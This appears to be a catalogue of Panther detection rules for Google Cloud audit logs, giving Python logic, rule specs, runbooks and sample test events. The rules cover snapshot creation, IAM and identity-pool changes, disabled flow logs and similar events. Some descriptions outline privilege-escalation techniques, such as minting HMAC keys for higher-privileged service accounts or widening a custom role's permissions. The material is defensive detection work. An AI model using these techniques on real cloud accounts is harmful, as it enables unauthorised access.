Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Investigate the snapshot creation to ensure it was authorized. Unauthorized snapshot creation can lead to data exfiltration.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1abcd23efg456",
  "logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@unexpected-domain.com"
    },
    "methodName": "v1.compute.snapshots.insert",
    "resourceName": "projects/test-project/global/snapshots/snapshot-1",
    "serviceName": "compute.googleapis.com"
  },
  "resource": {
    "labels": {
      "project_id": "test-project"
    },
    "type": "gce_snapshot"
  },
  "severity": "NOTICE",
  "timestamp": "2023-10-01T12:34:56.789Z"
}

GCP SQL Config Changes

#
Severity
low
Group by
resource.labels.project_id
Compliance
CIS 2.11
Log types
GCP.AuditLog
Tags
GCP, Database
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Monitoring changes to Sql Instance configuration may reduce time to detect and correct misconfigurations done on sql server.

Telemetry coverage

PlatformRecord / event type
GCPcloudsql.instances.update

Detection logic

def rule(event):
    return event.deep_get("protoPayload", "methodName") == "cloudsql.instances.update"


def dedup(event):
    return event.deep_get("resource", "labels", "project_id", default="<UNKNOWN_PROJECT>")

Rule specification

AnalysisType: rule
Filename: gcp_sql_config_changes.py
RuleID: "GCP.SQL.ConfigChanges"
DisplayName: "GCP SQL Config Changes"
Enabled: true
DedupPeriodMinutes: 720 # 12 hours
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Database
Reports:
  CIS:
    - 2.11
Severity: Low
Description: >
  Monitoring changes to Sql Instance configuration may reduce time to detect and correct misconfigurations done on sql server.
Runbook: Validate the Sql Instance configuration change was safe
Reference: https://cloud.google.com/sql/docs/mysql/instance-settings
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_domain_names

Stages and Predicates

Fires on GCP.AuditLog events when the condition below holds.

Condition

  • protoPayload.methodName is cloudsql.instances.update
Alert deduplication
repeat matches within 12h group into one alert

Indicators

These rows show field, operator, and value matches.

Response runbook

Validate the Sql Instance configuration change was safe

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@runpanther.io"
    },
    "methodName": "cloudsql.instances.update",
    "requestMetadata": {
      "callerIp": "136.24.229.58",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2020-05-15T04:28:42.243082428Z"
      }
    },
    "serviceName": "storage.googleapis.com",
    "status": {}
  },
  "resource": {
    "labels": {
      "location": "asia-northeast2",
      "project_id": "western-verve-123456"
    },
    "type": "sql_instance"
  }
}

GCP storage hmac keys create

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

There is a feature of Cloud Storage, “interoperability”, that provides a way for Cloud Storage to interact with storage offerings from other cloud providers, like AWS S3. As part of that, there are HMAC keys that can be created for both Service Accounts and regular users. We can escalate Cloud Storage permissions by creating an HMAC key for a higher-privileged Service Account.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

Detection logic

def rule(event):
    auth_info = event.deep_walk("protoPayload", "authorizationInfo", default=[])
    auth_info = auth_info if isinstance(auth_info, list) else [auth_info]

    for auth in auth_info:
        if auth.get("granted", False) and auth.get("permission", "") == "storage.hmacKeys.create":
            return True
    return False

Rule specification

AnalysisType: rule
RuleID: "GCP.Storage.Hmac.Keys.Create"
DisplayName: "GCP storage hmac keys create"
Description: "There is a feature of Cloud Storage, “interoperability”, that provides a way for Cloud Storage to interact with storage offerings from other cloud providers, like AWS S3. As part of that, there are HMAC keys that can be created for both Service Accounts and regular users. We can escalate Cloud Storage permissions by creating an HMAC key for a higher-privileged Service Account."
Enabled: true
LogTypes:
  - GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/
Reports:
  MITRE ATT&CK:
    - TA0004:T1548
Filename: gcp_storage_hmac_keys_create.py

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.granted is present
    • protoPayload.authorizationInfo.permission is storage.hmacKeys.create
  • protoPayload.authorizationInfo.permission is storage.hmacKeys.create

Indicators

These rows show field, operator, and value matches.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "storage.hmacKeys.create"
      }
    ],
    "methodName": "v2.deploymentmanager.deployments.insert",
    "serviceName": "deploymentmanager.googleapis.com"
  },
  "receiveTimestamp": "2024-01-19 13:47:19.465856238",
  "resource": {
    "labels": {
      "name": "test-vm-deployment",
      "project_id": "panther-threat-research"
    },
    "type": "deployment"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-19 13:47:18.279921000"
}

GCP Tag Binding Creation

#
Severity
informational
Log types
GCP.AuditLog
Tags
attack.privilege_escalation, attack.t1548, gcp, iam, tagbinding
Source
github.com/panther-labs/panther-analysis

Detects the creation of tag bindings in GCP, which could be part of a privilege escalation attempt using tag-based access control.

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    method_name = event.deep_get("protoPayload", "methodName", default="")
    return method_name.endswith("TagBindings.CreateTagBinding")


def title(event):
    principal = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN>"
    )
    resource = event.deep_get("protoPayload", "resourceName", default="<UNKNOWN>")
    return f"GCP Tag Binding Creation by {principal} - {resource}"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: GCP.Tag.Binding.Creation
Description: >
  Detects the creation of tag bindings in GCP, which could be part of a privilege
  escalation attempt using tag-based access control.
DisplayName: GCP Tag Binding Creation
Enabled: true
Filename: gcp_tag_binding_creation.py
LogTypes:
  - GCP.AuditLog
CreateAlert: false
Runbook: |
  Verify if the user has legitimate business need for creating this tag binding.
  If unauthorized, revoke the tag binding and review IAM policies.
Severity: Info
Tags:
  - attack.privilege_escalation
  - attack.t1548
  - gcp
  - iam
  - tagbinding

Stages and Predicates

Fires on GCP.AuditLog events when the condition below holds.

Condition

  • protoPayload.methodName ends with TagBindings.CreateTagBinding

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Verify if the user has legitimate business need for creating this tag binding.

If unauthorized, revoke the tag binding and review IAM policies.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authenticationInfo": {
      "principalEmail": "test@example.com"
    },
    "methodName": "TagBindings.CreateTagBinding",
    "resourceName": "projects/test-project"
  },
  "resource": {
    "labels": {
      "project_id": "test-project"
    }
  },
  "timestamp": "2024-01-01T00:00:00Z"
}

GCP User Added to IAP Protected Service

#
Severity
low
Entities
emails, ip_addresses
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

A user has been granted access to a IAP protected service.

Telemetry coverage

Detection logic

def rule(event):
    return (
        event.deep_get("protoPayload", "methodName", default="")
        == "google.cloud.iap.v1.IdentityAwareProxyAdminService.SetIamPolicy"
    )


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    service = event.deep_get("protoPayload", "request", "resource", default="<RESOURCE_NOT_FOUND>")
    return f"GCP: [{actor}] modified user access to IAP Protected Service [{service}]"


def alert_context(event):
    bindings = event.deep_get("protoPayload", "request", "policy", "bindings", default=[{}])

    return {"bindings": bindings}

Rule specification

AnalysisType: rule
Description: A user has been granted access to a IAP protected service.
DisplayName: "GCP User Added to IAP Protected Service"
Enabled: true
Filename: gcp_user_added_to_iap_protected_service.py
Runbook: "Note: GCP logs all bindings everytime this event occurs, not just changes. Bindings should be reviewed to ensure no unintended users have been added. "
Reference: https://cloud.google.com/iap/docs/managing-access
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.User.Added.to.IAP.Protected.Service"
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when the condition below holds.

Condition

  • protoPayload.methodName is google.cloud.iap.v1.IdentityAwareProxyAdminService.SetIamPolicy

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
bindingsprotoPayload.request.policy.bindings
principalEmailprotoPayload.authenticationInfo.principalEmail
resourceprotoPayload.request.resource

Response runbook

Note: GCP logs all bindings everytime this event occurs, not just changes. Bindings should be reviewed to ensure no unintended users have been added.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "46ee5sd38mw",
  "logName": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
  "p_any_emails": [
    "staging@company.io"
  ],
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_event_time": "2023-04-25 19:20:57.024",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2023-04-25 19:22:14.743",
  "p_row_id": "b2e9b7f5dc85a69981fac2e417b6bb03",
  "p_schema_version": 0,
  "p_source_id": "5b77391b-afad-46c7-8ddc-b8e21d4726b3",
  "p_source_label": "gcplogsource2",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "staging@company.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iap.webServices.setIamPolicy",
        "resourceAttributes": {
          "name": "projects/123456789012/iap_web/compute/services/7312383563505470445",
          "service": "iap.googleapis.com",
          "type": "iap.googleapis.com/WebService"
        }
      }
    ],
    "methodName": "google.cloud.iap.v1.IdentityAwareProxyAdminService.SetIamPolicy",
    "request": {
      "@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
      "policy": {
        "etag": "BwX6LgT4YMw="
      },
      "resource": "projects/123456789012/iap_web/compute/services/7312383563505470445"
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-04-25T19:20:57.295723118Z"
      }
    },
    "resourceName": "projects/123456789012/iap_web/compute/services/7312383563505470445",
    "response": {
      "@type": "type.googleapis.com/google.iam.v1.Policy",
      "etag": "BwX6LgXbpsw="
    },
    "serviceName": "iap.googleapis.com"
  },
  "receiveTimestamp": "2023-04-25 19:20:58.16",
  "resource": {
    "labels": {
      "backend_service_id": "",
      "location": "",
      "project_id": "gcp-project1"
    },
    "type": "gce_backend_service"
  },
  "severity": "NOTICE",
  "timestamp": "2023-04-25 19:20:57.024"
}

GCP User Added to Privileged Group

#
Severity
low
Log types
GCP.AuditLog
Tags
Configuration Required
Reference
github.com
Source
github.com/panther-labs/panther-analysis

A user was added to a group with special previleges

MITRE ATT&CK coverage

Detection logic

from panther_base_helpers import key_value_list_to_dict

PRIVILEGED_GROUPS = {
    # "admins@example.com"
}

USER_EMAIL = ""
GROUP_EMAIL = ""


def rule(event):
    events = event.deep_get("protoPayload", "metadata", "event", default=[])

    for event_ in events:
        if event_.get("eventname") != "ADD_GROUP_MEMBER":
            continue
        # Get the username
        params = key_value_list_to_dict(event_.get("parameter", []), "name", "value")
        global USER_EMAIL, GROUP_EMAIL  # pylint: disable=global-statement
        USER_EMAIL = params.get("USER_EMAIL")
        GROUP_EMAIL = params.get("GROUP_EMAIL")
        if GROUP_EMAIL in get_privileged_groups():
            return True
    return False


def title(event):
    actor = event.deep_get("actor", "email", default="")
    global USER_EMAIL, GROUP_EMAIL
    return f"{actor} has added {USER_EMAIL} to the privileged group {GROUP_EMAIL}"


def get_privileged_groups():
    # We make this a function, so we can mock it for unit tests
    return PRIVILEGED_GROUPS

Rule specification

AnalysisType: rule
Filename: gcp_user_added_to_privileged_group.py
RuleID: "GCP.User.Added.To.Privileged.Group"
DisplayName: "GCP User Added to Privileged Group"
Enabled: false
LogTypes:
  - GCP.AuditLog
Severity: Low
Tags:
  - Configuration Required
Reports:
  MITRE ATT&CK:
    - TA0004:T1078.004 # Privilege Escalation: Valid Accounts: Cloud Accounts
    - TA0004:T1484.001 # Privilege Escalation: Domain or Tenant Policy Modification: Group Policy Modification
Description: A user was added to a group with special previleges
DedupPeriodMinutes: 60
Threshold: 1
Reference: 
  https://github.com/GoogleCloudPlatform/security-analytics/blob/main/src/2.02/2.02.md
Runbook: Determine if the user had been added to the group for legitimate reasons.

Stages and Predicates

Rule logic imperative Python

The parser could not express this rule's Python logic as a structured condition; the complete logic is under Detection logic above.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
emailactor.email

Response runbook

Determine if the user had been added to the group for legitimate reasons.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "285djodxlmu",
  "logName": "organizations/123/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "admin@example.com"
    },
    "metadata": {
      "@type": "type.googleapis.com/ccc_hosted_reporting.ActivityProto",
      "activityId": {
        "timeUsec": "1647987178916000",
        "uniqQualifier": "-8614641986436885296"
      },
      "event": [
        {
          "eventName": "ADD_GROUP_MEMBER",
          "eventType": "GROUP_SETTINGS",
          "parameter": [
            {
              "label": "LABEL_OPTIONAL",
              "name": "USER_EMAIL",
              "type": "TYPE_STRING",
              "value": "test-user@example.com"
            },
            {
              "label": "LABEL_OPTIONAL",
              "name": "GROUP_EMAIL",
              "type": "TYPE_STRING",
              "value": "admins@example.com"
            }
          ]
        }
      ]
    },
    "methodName": "google.admin.AdminService.addGroupMember",
    "requestMetadata": {
      "callerIP": "11.22.33.44",
      "destinationAttributes": {},
      "requestAttributes": {}
    },
    "resourceName": "organizations/123/groupSettings",
    "serviceName": "admin.googleapis.com"
  },
  "receiveTimestamp": "2022-03-22T22:12:59.439766009Z",
  "resource": {
    "labels": {
      "method": "google.admin.AdminService.addGroupMember",
      "service": "admin.googleapis.com"
    },
    "type": "audited_resource"
  },
  "severity": "NOTICE",
  "timestamp": "2022-03-22T22:12:58.916Z"
}

GCP VPC Flow Logs Disabled

#
Severity
medium
Entities
ip_addresses
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

VPC flow logs were disabled for a subnet.

Telemetry coverage

PlatformRecord / event type
GCPcompute.subnetworks.patch: patch

Detection logic

def rule(event):
    return all(
        [
            event.get("protoPayload"),
            event.deep_get("protoPayload", "methodName", default="")
            == "v1.compute.subnetworks.patch",
            event.deep_get("protoPayload", "request", "enableFlowLogs") is False,
        ]
    )


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
    return f"GCP: [{actor}] disabled VPC Flow Logs for [{resource}]"

Rule specification

AnalysisType: rule
Description: VPC flow logs were disabled for a subnet.
DisplayName: "GCP VPC Flow Logs Disabled"
Enabled: true
Filename: gcp_vpc_flow_logs_disabled.py
Reference: https://cloud.google.com/vpc/docs/using-flow-logs
Severity: Medium
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.VPC.Flow.Logs.Disabled"
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload is present
  • protoPayload.methodName is v1.compute.subnetworks.patch
  • protoPayload.request.enableFlowLogs is false

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
principalEmailprotoPayload.authenticationInfo.principalEmail
resourceNameprotoPayload.resourceName

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "123456",
  "logName": "projects/gcp-project/logs/cloudaudit.googleapis.com%2Factivity",
  "operation": {
    "first": true,
    "id": "operation-abc-123",
    "last": true,
    "producer": "compute.googleapis.com"
  },
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_event_time": "2023-03-08 18:52:58.322",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2023-03-08 18:54:14.597",
  "p_source_label": "gcplogsource",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user1@company.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "compute.subnetworks.update",
        "resourceAttributes": {
          "name": "projects/gcp-project/regions/us-central1/subnetworks/default",
          "service": "compute",
          "type": "compute.subnetworks"
        }
      }
    ],
    "methodName": "v1.compute.subnetworks.patch",
    "request": {
      "@type": "type.googleapis.com/compute.subnetworks.patch",
      "enableFlowLogs": false,
      "fingerprint": "/�/��\u0003��"
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "reason": "8uSywAYQGg5Db2xpc2V1bSBGbG93cw",
        "time": "2023-03-08T18:52:58.731721Z"
      }
    },
    "resourceName": "projects/gcp-project/regions/us-central1/subnetworks/default",
    "response": {
      "@type": "type.googleapis.com/operation",
      "endTime": "2023-03-08T10:52:58.700-08:00",
      "id": "123456",
      "insertTime": "2023-03-08T10:52:58.699-08:00",
      "name": "operation-1678301578299-5f668096688bc-0635b6ef-4d0122bb",
      "operationType": "compute.subnetworks.patch",
      "progress": "100",
      "region": "https://www.googleapis.com/compute/v1/projects/gcp-project/regions/us-central1",
      "selfLink": "https://www.googleapis.com/compute/v1/projects/gcp-project/regions/us-central1/operations/1234",
      "selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/gcp-project/regions/us-central1/operations/1234",
      "startTime": "2023-03-08T10:52:58.700-08:00",
      "status": "DONE",
      "targetId": "123456",
      "targetLink": "https://www.googleapis.com/compute/v1/projects/gcp-project/regions/us-central1/subnetworks/default",
      "user": "user1@company.io"
    },
    "serviceName": "compute.googleapis.com"
  },
  "receiveTimestamp": "2023-03-08 18:52:58.991",
  "resource": {
    "labels": {
      "location": "us-central1",
      "project_id": "gcp-project",
      "subnetwork_id": "123456",
      "subnetwork_name": "default"
    },
    "type": "gce_subnetwork"
  },
  "severity": "NOTICE",
  "timestamp": "2023-03-08 18:52:58.322"
}

GCP Workforce Pool Created or Updated

#
Severity
high
Log types
GCP.AuditLog
Tags
Account Manipulation, Additional Cloud Roles, GCP, Privilege Escalation
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

MITRE ATT&CK coverage

Telemetry coverage

Detection logic

METHODS = [
    "google.iam.admin.v1.WorkforcePools.CreateWorkforcePool",
    "google.iam.admin.v1.WorkforcePools.UpdateWorkforcePool",
]


def rule(event):
    return event.deep_get("protoPayload", "methodName", default="") in METHODS


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    workforce_pool = event.deep_get(
        "protoPayload", "request", "workforcePool", "name", default=""
    ).split("/")[-1]

    resource = organization_id = event.get("logName", "<LOG_NAME_NOT_FOUND>").split("/")

    organization_id = resource[resource.index("organizations") + 1]

    return (
        f"GCP: [{actor}] created or updated workforce pool "
        f"[{workforce_pool}] in organization [{organization_id}]"
    )


def alert_context(event):
    return event.deep_get("protoPayload", "request", "workforcePool", default={})

Rule specification

AnalysisType: rule
Filename: gcp_workforce_pool_created_or_updated.py
RuleID: "GCP.Workforce.Pool.Created.or.Updated"
DisplayName: "GCP Workforce Pool Created or Updated"
Enabled: true
LogTypes:
  - GCP.AuditLog
Tags:
  - Account Manipulation
  - Additional Cloud Roles
  - GCP
  - Privilege Escalation
Reports:
  MITRE ATT&CK:
    - TA0003:T1136.003
    - TA0003:T1098.003
    - TA0004:T1098.003
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Runbook: >
  Ensure that the Workforce Pool creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.
Reference: https://medium.com/google-cloud/detection-of-inbound-sso-persistence-techniques-in-gcp-c56f7b2a588b

Stages and Predicates

Fires on GCP.AuditLog events when the condition below holds.

Condition

  • protoPayload.methodName is one of google.iam.admin.v1.WorkforcePools.CreateWorkforcePool, google.iam.admin.v1.WorkforcePools.UpdateWorkforcePool

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamein
  • google.iam.admin.v1.WorkforcePools.CreateWorkforcePool
  • google.iam.admin.v1.WorkforcePools.UpdateWorkforcePool
field:"protoPayload.methodName" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
principalEmailprotoPayload.authenticationInfo.principalEmail

Response runbook

Ensure that the Workforce Pool creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1h09dxwe33hgu",
  "logName": "organizations/123456789012/logs/cloudaudit.googleapis.com%2Factivity",
  "operation": {
    "first": true,
    "id": "locations/global/workforcePools/test-pool/operations/bigarg7n32vamefy6ximiaq000000000",
    "producer": "iam.googleapis.com"
  },
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@example.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.workforcePools.update",
        "resource": "locations/global/workforcePools/test-pool",
        "resourceAttributes": {}
      }
    ],
    "methodName": "google.iam.admin.v1.WorkforcePools.UpdateWorkforcePool",
    "request": {
      "@type": "type.googleapis.com/google.iam.admin.v1.UpdateWorkforcePoolRequest",
      "updateMask": "description,sessionDuration,disabled,displayName",
      "workforcePool": {
        "description": "Test pool to facilitate detection writing",
        "displayName": "Test Pool",
        "name": "locations/global/workforcePools/test-pool",
        "sessionDuration": "43200s"
      }
    },
    "requestMetadata": {
      "callerIp": "07da:0994:97fb:8db1:c68f:c109:fcdd:d594",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0,gzip(gfe),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "reason": "8uSywAYQGg5Db2xpc2V1bSBGbG93cw",
        "time": "2023-11-17T18:53:15.208909504Z"
      }
    },
    "resourceName": "locations/global/workforcePools/test-pool",
    "serviceName": "iam.googleapis.com"
  },
  "receiveTimestamp": "2023-11-17T18:53:16.523653141Z",
  "resource": {
    "labels": {
      "method": "google.iam.admin.v1.WorkforcePools.UpdateWorkforcePool",
      "service": "iam.googleapis.com"
    },
    "type": "audited_resource"
  },
  "severity": "NOTICE",
  "timestamp": "2023-11-17T18:53:15.200613481Z"
}

GCP Workload Identity Pool Created or Updated

#
Severity
high
Log types
GCP.AuditLog
Tags
Account Manipulation, Additional Cloud Roles, GCP, Privilege Escalation
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

MITRE ATT&CK coverage

Telemetry coverage

Detection logic

METHODS = [
    "google.iam.v1.WorkloadIdentityPools.CreateWorkloadIdentityPoolProvider",
    "google.iam.v1.WorkloadIdentityPools.UpdateWorkloadIdentityPoolProvider",
]


def rule(event):
    return event.deep_get("protoPayload", "methodName", default="") in METHODS


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>").split(
        "/"
    )
    workload_identity_pool = resource[resource.index("workloadIdentityPools") + 1]
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return (
        f"GCP: [{actor}] created or updated workload identity pool "
        f"[{workload_identity_pool}] in project [{project_id}]"
    )


def alert_context(event):
    return event.deep_get("protoPayload", "request", "workloadIdentityPoolProvider", default={})

Rule specification

AnalysisType: rule
Filename: gcp_workload_identity_pool_created_or_updated.py
RuleID: "GCP.Workload.Identity.Pool.Created.or.Updated"
DisplayName: "GCP Workload Identity Pool Created or Updated"
Enabled: true
LogTypes:
  - GCP.AuditLog
Tags:
  - Account Manipulation
  - Additional Cloud Roles
  - GCP
  - Privilege Escalation
Reports:
  MITRE ATT&CK:
    - TA0003:T1136.003
    - TA0003:T1098.003
    - TA0004:T1098.003
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Runbook: >
  Ensure that the Workload Identity Pool creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.
Reference: https://medium.com/google-cloud/detection-of-inbound-sso-persistence-techniques-in-gcp-c56f7b2a588b

Stages and Predicates

Fires on GCP.AuditLog events when the condition below holds.

Condition

  • protoPayload.methodName is one of google.iam.v1.WorkloadIdentityPools.CreateWorkloadIdentityPoolProvider, google.iam.v1.WorkloadIdentityPools.UpdateWorkloadIdentityPoolProvider

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamein
  • google.iam.v1.WorkloadIdentityPools.CreateWorkloadIdentityPoolProvider
  • google.iam.v1.WorkloadIdentityPools.UpdateWorkloadIdentityPoolProvider
field:"protoPayload.methodName" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
principalEmailprotoPayload.authenticationInfo.principalEmail
project_idresource.labels.project_id

Response runbook

Ensure that the Workload Identity Pool creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1plwiv7e2lak8",
  "logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
  "operation": {
    "first": true,
    "id": "projects/1234567890123/locations/global/workloadIdentityPools/test-pool/providers/test-project/operations/bifqr6xo32vameeqtose200000000000",
    "producer": "iam.googleapis.com"
  },
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@example.com",
      "principalSubject": "user:user@example.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.workloadIdentityPoolProviders.update",
        "resource": "projects/test-project/locations/global/workloadIdentityPools/test-pool/providers/test-project",
        "resourceAttributes": {}
      }
    ],
    "methodName": "google.iam.v1.WorkloadIdentityPools.UpdateWorkloadIdentityPoolProvider",
    "request": {
      "@type": "type.googleapis.com/google.iam.v1.UpdateWorkloadIdentityPoolProviderRequest",
      "updateMask": "displayName,disabled,attributeMapping,attributeCondition,aws.accountId",
      "workloadIdentityPoolProvider": {
        "attributeCondition": "'admins' in google.groups",
        "attributeMapping": {
          "attribute.aws_role": "assertion.arn.contains('assumed-role') ? assertion.arn.extract('{account_arn}assumed-role/') + 'assumed-role/' + assertion.arn.extract('assumed-role/{role_name}/') : assertion.arn",
          "google.subject": "assertion.arn"
        },
        "aws": {
          "accountId": "123456789012"
        },
        "disabled": false,
        "displayName": "Test Provider",
        "name": "projects/test-project/locations/global/workloadIdentityPools/test-pool/providers/test-project"
      }
    },
    "requestMetadata": {
      "callerIp": "07da:0994:97fb:8db1:c68f:c109:fcdd:d594",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-11-17T18:56:57.745203848Z"
      }
    },
    "resourceName": "projects/test-project/locations/global/workloadIdentityPools/test-pool/providers/test-project",
    "serviceName": "iam.googleapis.com"
  },
  "receiveTimestamp": "2023-11-17T18:56:58.871491875Z",
  "resource": {
    "labels": {
      "method": "google.iam.v1.WorkloadIdentityPools.UpdateWorkloadIdentityPoolProvider",
      "project_id": "test-project",
      "service": "iam.googleapis.com"
    },
    "type": "audited_resource"
  },
  "severity": "NOTICE",
  "timestamp": "2023-11-17T18:56:57.730630771Z"
}

GCP.Iam.ServiceAccountKeys.Create

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

If your user is assigned a custom IAM role, then iam.roles.update will allow you to update the “includedPermissons” on that role. Because it is assigned to you, you will gain the additional privileges, which could be anything you desire.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

PlatformRecord / event type
GCPany: iam.googleapis.com (any method)

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
